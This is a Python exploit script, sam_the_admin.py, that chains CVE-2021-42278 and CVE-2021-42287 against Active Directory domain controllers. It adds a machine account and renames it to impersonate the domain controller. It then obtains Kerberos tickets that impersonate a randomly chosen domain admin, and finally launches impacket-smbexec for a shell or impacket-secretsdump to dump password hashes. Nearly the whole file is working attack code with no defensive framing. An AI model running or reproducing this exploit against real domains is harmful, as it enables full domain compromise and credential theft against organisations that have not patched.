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sam_the_admin.py
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sam_the_admin.py
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from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
import argparse
import logging
import sys
import string
import random
import ssl
import os
from binascii import unhexlify
import ldapdomaindump
import ldap3
import time
from utils.helper import *
from utils.addcomputer import AddComputerSAMR
from utils.S4U2self import GETST
characters = list(string.ascii_letters + string.digits + "!@#$%^&*()")
def samtheadmin(username, password, domain, options):
new_computer_name = f"SAMTHEADMIN-{random.randint(1,100)}$"
new_computer_password = ''.join(random.choice(characters) for _ in range(12))
domain, username, password, lmhash, nthash = parse_identity(options)
ldap_server, ldap_session = init_ldap_session(options, domain, username, password, lmhash, nthash)
cnf = ldapdomaindump.domainDumpConfig()
cnf.basepath = None
domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf)
MachineAccountQuota = 10
for i in domain_dumper.getDomainPolicy():
MachineAccountQuota = int(str(i['ms-DS-MachineAccountQuota']))
rootsid = domain_dumper.getRootSid()
dcinfo = get_dc_host(ldap_session, domain_dumper)
if not len(dcinfo['name']):
logging.critical("Cannot get domain info")
exit()
dc_host = dcinfo['name'][0].lower()
dcfull = dcinfo['dNSHostName'][0].lower()
logging.info(f'Selected Target {dcfull}')
domainAdmins = get_domain_admins(ldap_session, domain_dumper)
random_domain_admin = random.choice(domainAdmins)
logging.info(f'Total Domain Admins {len(domainAdmins)}')
logging.info(f'will try to impersonat {random_domain_admin}')
# udata = get_user_info(username, ldap_session, domain_dumper)
if MachineAccountQuota < 0:
logging.critical(f'Cannot exploit , ms-DS-MachineAccountQuota {MachineAccountQuota}')
exit()
else:
logging.info(f'Current ms-DS-MachineAccountQuota = {MachineAccountQuota}')
logging.info(f'Adding Computer Account "{new_computer_name}"')
logging.info(f'MachineAccount "{new_computer_name}" password = {new_computer_password}')
# Creating Machine Account
addmachineaccount = AddComputerSAMR(
username,
password,
domain,
options,
computer_name=new_computer_name,
computer_pass=new_computer_password)
addmachineaccount.run()
# CVE-2021-42278
new_machine_dn = None
dn = get_user_info(new_computer_name, ldap_session, domain_dumper)
if dn:
new_machine_dn = str(dn['dn'])
logging.info(f'{new_computer_name} object = {new_machine_dn}')
if new_machine_dn:
ldap_session.modify(new_machine_dn, {'sAMAccountName': [ldap3.MODIFY_REPLACE, [dc_host]]})
if ldap_session.result['result'] == 0:
logging.info(f'{new_computer_name} sAMAccountName == {dc_host}')
else:
logging.error('Cannot rename the machine account , target patched')
exit()
# Getting a ticket
getting_tgt = GETTGT(dc_host, new_computer_password, domain, options)
getting_tgt.run()
dcticket = str(dc_host + '.ccache')
# Restoring Old Values
logging.info(f"Resting the machine account to {new_computer_name}")
dn = get_user_info(dc_host, ldap_session, domain_dumper)
ldap_session.modify(str(dn['dn']), {'sAMAccountName': [ldap3.MODIFY_REPLACE, [new_computer_name]]})
if ldap_session.result['result'] == 0:
logging.info(f'Restored {new_computer_name} sAMAccountName to original value')
else:
logging.error('Cannot restore the old name lol')
os.environ["KRB5CCNAME"] = dcticket
executer = GETST(None, None, domain, options,
impersonate_target=random_domain_admin,
target_spn=f"cifs/{dcfull}")
executer.run()
adminticket = str(random_domain_admin + '.ccache')
os.environ["KRB5CCNAME"] = adminticket
# will do something else later on
fbinary = "/usr/bin/impacket-smbexec"
if options.dump:
fbinary = "/usr/bin/impacket-secretsdump"
getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}' "
os.system(getashell)
os.system("rm *.ccache")
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print((version.BANNER))
parser = argparse.ArgumentParser(add_help = True, description = "SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain")
parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.')
parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-shell', action='store_true', help='Drop a shell via smbexec')
parser.add_argument('-dump', action='store_true', help='Dump Hashs via secretsdump')
parser.add_argument('-port', type=int, choices=[139, 445, 636],
help='Destination port to connect to. SAMR defaults to 445, LDAPS to 636.')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on account parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-host', action='store',metavar = "hostname", help='Hostname of the domain controller to use. '
'If ommited, the domain part (FQDN) '
'specified in the account parameter will be used')
group.add_argument('-dc-ip', action='store',metavar = "ip", help='IP of the domain controller to use. '
'Useful if you can\'t translate the FQDN.'
'specified in the account parameter will be used')
parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
domain, username, password = parse_credentials(options.account)
try:
if domain is None or domain == '':
logging.critical('Domain should be specified!')
sys.exit(1)
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
samtheadmin(username, password, domain, options)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
print(str(e))